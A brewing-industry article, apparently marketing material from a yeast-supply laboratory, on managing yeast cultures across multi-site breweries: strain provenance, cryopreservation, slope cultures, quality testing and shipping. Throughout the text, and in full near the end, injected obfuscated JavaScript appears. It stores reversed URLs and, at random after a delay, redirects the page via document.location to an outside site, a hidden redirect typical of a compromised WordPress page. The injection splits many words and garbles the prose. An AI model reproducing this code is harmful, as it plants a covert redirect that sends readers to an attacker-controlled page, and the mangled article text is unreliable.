The importance of yeast supply in multi-site brewery operations

Ca062

A reliable supply of yeast for fermentation is a prerequisite for brewery operations. But what’s involved in making sure that your brewery’s yeast supply can be counted on?

Supply of brewing yeast cultures tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to breweries within a multi-site brewery group presents many challenges. The objective is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make sure that all breweries within your group are using the right yeast strains, in the best possible condition, with the lowest possible risk of failure. If multiple strains are supplied within a group (different lager strains, ale strains, wheat beer strains, or yeasts for production of low alcohol beers for example) it is important that potential mix-ups are anticipated and actively prevented.

Whether the yeast supply function is in-sourced within your head office laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory or out-sourced tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a specialist organization like Cara Technology, the challenges remain the same.

Here, we explain what’s involved in doing this right, and offer some pointers tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to drive continuous improvement in this area.

Yeast strain provenance

You need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be able tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to demonstrate the origins of your yeast cultures, assure traceability, and be sure as a business that your yeast strains are fit for purpose.

First of all, the origins of all your yeast strains should be known and traceable. That means it should be possible tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to run an audit trail from your currently-used brewery yeast culture right back tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the culture which was isolated within your laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tories, or obtained from a third party – whether that was yesterday or may decades ago.

While it may well be that the particular yeast used in your breweries has been selected for histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torical reasons, it is usually preferable tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to select the strain on the basis of its possession of a number of desirable traits, and the absence of undesirable traits.

For example, for making a modern pale lager beer in upright cylindro-conical fermenters the following traits are ideal:

  • Pure culture of a single genetic type
  • Mitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tochondrial mutants (including respiratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory-deficient variants) present at <2% of the tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}total
  • High degree of attenuation
  • Low requirement for free amino nitrogen (amino acids)
  • Reliable flocculation properties of a type suited tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the fermenter shape and size in use in your breweries
  • Good ability tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to reduce diacetyl tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to acceptable concentrations in an acceptable time
  • Good flavour production with respect tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to esters and higher alcohols
  • Low production of volatile sulphur compounds
  • Good (though not excessive) production of sulphur dioxide – for a long flavour life

The genetic background of the strain should be proven and verifiable – for example, you should be able tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to demonstrate that your yeast has not been genetically modified.

Yeast strain identity and purity

Genetic tests, phenotypic tests, checks for contaminant microorganisms, with the performance of all test methods regularly validated

and-purity.jpg” alt=”” width=”163″ height=”146″ />Having established what is required for success it is important that methods are put in place tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make sure that what is intended has been acheived. Genetic tests of identity and purity can be carried out using PCR-based DNA fingerprinting or by karyotyping. Phenotypic testing – for example, tests for flocculation, fermentation performance, and the presence of certain traits, such as the ability tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to grow at different temperatures, possession of certain enzymes, or the ability tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to grow in the presence of specific antimicrobial agents – are also useful.

Tests for the presence of contaminant microorganisms (wild yeasts and bacteria) must also be carried out.

Finally, all of the laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory tests have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to perform as intended. You can’t know they do unless you check them. All methods should be validated at frequent intervals tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assure performance.

Yeast strain preservation

Cryopreservation of master cultures, two geographically-independent secure sites – well-entrenched ISO, HACCP and disaster recovery systems

The preservation technique used is critical. The devil is in the detail. Cryogenic preservation in liquid nitrogen is the method of choice. Preserved in straws or cryovials, yeast strains will remain unchanged for decades, and most probably centuries under such conditions. Done correctly this technique creates an environment in which the yeast cells are placed in a state of suspended animation. Most importantly the process has no negative effects on genetic or physiological properties of the cells. Viability of the cells is also maintained under these conditions.

Of course you might be thinking, “can’t I just sub-culture my yeast on agar slopes every few months?” Of course you can, but it’s rather like encoding your brewery operatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor instructions in the minds of your operatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors, relying on them – in their own way – tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to explain how things work tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to each new member of staff as the need arises. Inevitably, things will drift. Nowadays you’ll write things down, ‘standard work’, ‘work instructions’ – right? That way you’ll reduce the chance of this drift. That’s pretty much how cryopreservation works for brewing yeast. It locks down what you know works.

Unsurprisingly, the advantages of yeast cryopreservation come at a cost. A need for specialist equipment, specialist staff, and access tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a reliable source of liquid nitrogen are just three. Staff safety is paramount, and precautions have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be taken tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to protect anyone using liquid nitrogen from the potential suffocating effects of oxygen starvation and nitrogen gas.

In practice, it’s usually best tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have two types of cultures – master cultures and working cultures. Given sufficient stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage space you should have enough working cultures tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to produce all the yeast you need for many months ahead, and ideally many years ahead.

Mistake proofing of cryogenic preservation systems is very important. There’s no point in doing a great job in preserving your yeast if you run the risk of picking out the wrong one and growing it up in your yeast propagatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors and brewery fermenters.

Back-ups are critical. No single liquid nitrogen facility is bullet proof. A single interruption tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to your liquid nitrogen supply could spell the end for your custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomers. Two completely independent systems in different locations are what’s needed. For example, in our own operations we have one cryogenic stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage facility in Denmark, and another in the UK – both stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring exactly the same yeast cultures. When it comes tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to disaster recovery procedures, it’s important tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know they are in place, and have been proven tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to work – the equivalent of having a fire drill for your yeast preservation. To an extent ISO 9001 and HACCP systems can provide reassurance in this regard. But there’s no substitute for a healthy dose of paranoia. Be afraid – be very afraid! Expect things tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to go wrong, then do everything you can tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prevent such events from occurring. Then do more. It’s tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too important not tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to.

As before, everything that you do in this area has tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be verified. There’s no use saying that the preservation has conserved the viability of your yeast unless you have the data tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to prove it.

Routine yeast culture supply

Slope cultures dispatched tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to breweries from a single validated audited production site with a back-up production facility available as part of your risk management plan

Nowadays most lager breweries propagate their yeast every week of the year. Or, in the very least, every second week. If you are going tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to let your yeast run for six tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eight generations and are filling six tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eight fermenters a day, that’s what it takes. It stands tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to reason that your aim should be tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make every single one of those yeast propagations identical tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to one another. That has tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to start with the first stage of the propagation.

Typically that involves inoculating about 10 ml of wort with yeast growth from a slope culture. That yeast can either be taken from the slope using an inoculating loop, or by washing off all of the cells from the slope and using that as the inoculum. Either way, when used once a yeast slope culture should be discarded. Slope cultures should be treated as ‘disposable’. To use them several times is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to invite inconsistency in the early stages of propagation which can only become magnified as the culture enters its working life in the brewery.

Yeast slope cultures can be supplied by competent brewery support laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tories like our own. You’re going tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to need somewhere between 26 and 52 yeast slopes a year, usually delivered every six tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eight weeks. On receipt in the brewery cultures should be stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tored in a locked fridge, or a fridge in a locked room. The refrigeratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor should be dedicated tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yeast culture stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage and be of a ‘non-domestic’ type tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to avoid the risk of temperature cycling (due tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to autobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-defrost functionality).

An alternative tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yeast slope supply is the use of ultra-pure dried yeast cultures. The Alfred Jørgensen Laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory pioneered the development and use of this format of culture many decades ago. Although deployed by a hundreds of breweries all over the world, it remains something of a well-kept secret. This format is the one of choice when cool transport and stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torage cannot be assured, or when laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory facilities are not available in the brewery. These dried yeast cultures are supplied in units of 50 g. Each is sufficient for inoculation of a single Carlsberg flask – enough tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to initiate a propagation in a brewery yeast propagatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor. By using this format of culture you can by-pass the need for laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory propagation steps.. While this can save you time, money and equipment, perhaps the biggest benefit of this approach is the flexibility it provides you with in the case of a failed yeast propagation.

On those (hopefully) rare occasions when brewery yeast propagations fail quality tests (for example due tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to contamination with foreign microorganisms) production delays caused by having tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to wait for the laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to propagate a new yeast culture from slope can be both frustrating and costly. However, by using ultra-pure active dried yeast cultures and thus by-passing the laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory stages of the propagation, several days can be shaved off the time needed for yeast propagation.

Quality assurance

Cultures tested prior tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dispatch tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assure identity, purity, performance and freedom from microbiological contamination – performance of all test methods regularly validated

It’s all tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too easy tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assume that if your laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory people have prepared your yeast cultures in the usual It’s all tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too easy tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assume that if your laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory people have prepared your yeast cultures in the usual way, everything will be fine. Don’t forget however: when you assume you make an ‘ass of u and me‘. Rather than reply on assumptions, it’s much better tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assure the culture quality.

All yeast cultures used in a brewery should be checked tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assure their identity, using either microbiological tests and / or genetic tests such as DNA fingerprinting. Checks on culture purity have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be made, tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ensure that the culture is pure and homogeneous. Giant colony morphology on WLN agar works well for this purpose, supported by DNA fingerprinting. Checks for microbiological contaminants have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be made tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too – both bacteria and wild yeasts. And, as always, the methods used for these tests have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be validated tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to assure their performance.

Secure shipping

Cultures dispatched under temperature-controlled conditions using tamper-evident packaging and appropriate documentation – proactive track and trace of shipments

First and foremost in shipping of brewery yeast cultures is the issue of security. All the work put in tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ensure that the right yeast is dispatched in the right condition will come tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to nought if its integrity during shipping and transport cannot be guaranteed.

Slope cultures should be shipped on ice in insulated containers. Packaging should be tamper-evident tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make sure that if anything untobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toward has happened tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the culture it is immediately evident tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to brewery personnel. Web-based track and trace functionality allows both sender and receiver tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to know where the cultures have been at all times.

Technical support of the yeast supply chain

Proactive testing of yeast samples from every brewery – access tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yeast and fermentation expertise for rapid loop closure – web-based reporting tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to keep everyone informed

Despite the best raw materials, brewing equipment, people and intentions, things do sometimes go wrong in the brewery. When they do, it’s important tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be able tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eliminate as many possible root causes of a problem as quickly as possible. This is where centralized yeast supply can come intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to its own. Since the same yeast culture from the same cryogenically-preserved yeast stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock culture has been grown, tested and shipped under exactly the same conditions for every single brewery you run, any problem which afflicts one brewery should also affect the others tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a greater or lesser degree. While this is a risk if you allow things tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to go wrong in the yeast supply chain, if you commit the resources tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get it right it can be a great asset. Thus knowing that the same yeast in the same condition from the same stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock culture has been used in every brewery can be used as an aid tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to diagnosis of yeast- and fermentation-related problems.

Early access tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to yeast expertise can generally lead tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to more rapid resolution of process and beer quality problems, greater confidence in yeast and fermentation, and more sure-footed loop closure.

Excellent record keeping within the context of a robust quality management system plays an important part in this.

Conclusion

There’s a lot tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get right in running multi-site brewing operations, and a lot tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to potentially go wrong. Centralized yeast supply can be used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to increase production efficiency, reduce risk, and increase the speed with which problems are resolved. In terms of finance, yeast supply management costs about 0.02 – 0.1% of the cost of malt supply. Now if malt was responsible for 1,000 – 5,000-times more problems than yeast that difference may be justified. But the fact is that brewers have evolved many ways tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cope with poor quality malt. Coping with poor quality yeast is a different challenge altobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}together.

Interested in finding out how Cara Technology and our $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory” href=”http://ajl.dk” target=”_blank”>Alfred Jørgensen Laboratobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory can help manage your yeast culture supply? Contact us – we’ll be happy tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help.

 

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